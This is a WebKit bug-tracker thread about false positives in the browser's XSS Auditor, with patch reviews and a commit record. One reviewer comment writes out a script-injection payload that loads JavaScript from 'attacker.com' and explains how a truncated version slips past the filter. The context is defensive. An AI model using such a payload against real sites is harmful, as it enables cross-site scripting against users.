Bug 79397 – XSS Auditor targeting legitimate frames as false positives.

• Status: RESOLVED
• Resolution: FIXED
• Component: WebKit Misc.

[Thomas Sepez]

Report by fbingha, Feb 20 (3 days ago) at http://code.google.com/p/chromium/issues/detail?id=98787


Say you have an editor and in your page source you have a script reference, say

<script type="text/javascript" src="https://www.vbulletin.com/forum/clientscript/vbulletin-core.js?v=4110c"></script>

Now say, within the editor you type:

src="https://www.vbulletin.com"

Or even better, your editor has an image in it like

<img src="https://www.vbulletin.com/me.png" />

Now you preview, and bang, javascript is dead because Chrome insists on ANY usage of src="yourdomain" appearing in the request means that an XSS has been triggered.

Previously I would had to have this in my request to trigger the problem:

src="https://www.vbulletin.com/forum/clientscript/vbulletin-core.js?v=4110c">

Now you've pared it down to just this

src="https://www.vbulletin.com">

[Thomas Sepez]

Created attachment 128551 [details]
Patch + tests

This is the most straightforward way of preventing these false positives.  Please double-check that we don't care about these "protected" attributes without an injected tag.

[Adam Barth]

Comment on attachment 128551 [details]
Patch + tests

View in context: https://bugs.webkit.org/attachment.cgi?id=128551&action=review

> Source/WebCore/html/parser/XSSAuditor.cpp:338
> +    if (isContainedInRequest("<script"))

What about "<ScriPt" ?  IMHO, it would be better if we grabbed the characters to match from the m_cachedSnippet.

[Thomas Sepez]

IsContainedInRequest() should handle the case issues.  Also there's an ASSERT(hasName(token, embedTag)).  But we'll take it from token.name

[Thomas Sepez]

Created attachment 128580 [details]
Patch + some refactoring.

[Adam Barth]

Comment on attachment 128580 [details]
Patch + some refactoring.

View in context: https://bugs.webkit.org/attachment.cgi?id=128580&action=review

> Source/WebCore/html/parser/XSSAuditor.cpp:502
> +    size_t start = decodedSnippet.find("<");

How can this fail to be the first character?

[Thomas Sepez]

(In reply to comment #5)
> (From update of attachment 128580 [details])
> View in context: https://bugs.webkit.org/attachment.cgi?id=128580&action=review
> 
> > Source/WebCore/html/parser/XSSAuditor.cpp:502
> > +    size_t start = decodedSnippet.find("<");
> 
> How can this fail to be the first character?

Wasn't sure, nor was I taking any chances...

[Adam Barth]

Comment on attachment 128580 [details]
Patch + some refactoring.

View in context: https://bugs.webkit.org/attachment.cgi?id=128580&action=review

This looks great.

> Source/WebCore/html/parser/XSSAuditor.cpp:316
> +    if (isContainedInRequest(m_cachedDecodedSnippet) && isContainedInRequest(decodedSnippetForJavascript(token))) {

Javascript => JavaScript

[Adam Barth]

Here's an interesting case:

<script/src="http://attacker.com/foo.js"></script>

I think we get that subtly wrong in this patch, actually.  The attacker can inject:

<script/src="http://attacker.com/foo

and let the rest of the page terminate the request.  We'll wait for an HTMLSpace to terminate the token name, which could include characters that aren't in the request.

[Adam Barth]

Rather than searching for an HTMLSpace to terminate the token name, why don't we just grab a fixed number of characters equal to one plus the length of the token's name (to account for the "<")?

[Thomas Sepez]

Created attachment 128592 [details]
Patch w/ fixed char grab

[Adam Barth]

Comment on attachment 128592 [details]
Patch w/ fixed char grab

Ok.  We should also add a test for the <script/src thing do we don't forget it in the future.

[WebKit Commit Bot]

Attachment 128592 [details] did not pass style-queue:

Failed to run "['Tools/Scripts/check-webkit-style', '--diff-files', u'LayoutTests/ChangeLog', u'LayoutTests/http..." exit_code: 1
Source/WebCore/html/parser/XSSAuditor.cpp:495:  Place brace on its own line for function definitions.  [whitespace/braces] [4]
Source/WebCore/html/parser/XSSAuditor.cpp:500:  Place brace on its own line for function definitions.  [whitespace/braces] [4]
Total errors found: 2 in 7 files


If any of these errors are false positives, please file a bug against check-webkit-style.

[Adam Barth]

Created attachment 128837 [details]
Patch for landing

[WebKit Review Bot]

Comment on attachment 128837 [details]
Patch for landing

Clearing flags on attachment: 128837

Committed r108881: <http://trac.webkit.org/changeset/108881>

[WebKit Review Bot]

All reviewed patches have been landed.  Closing bug.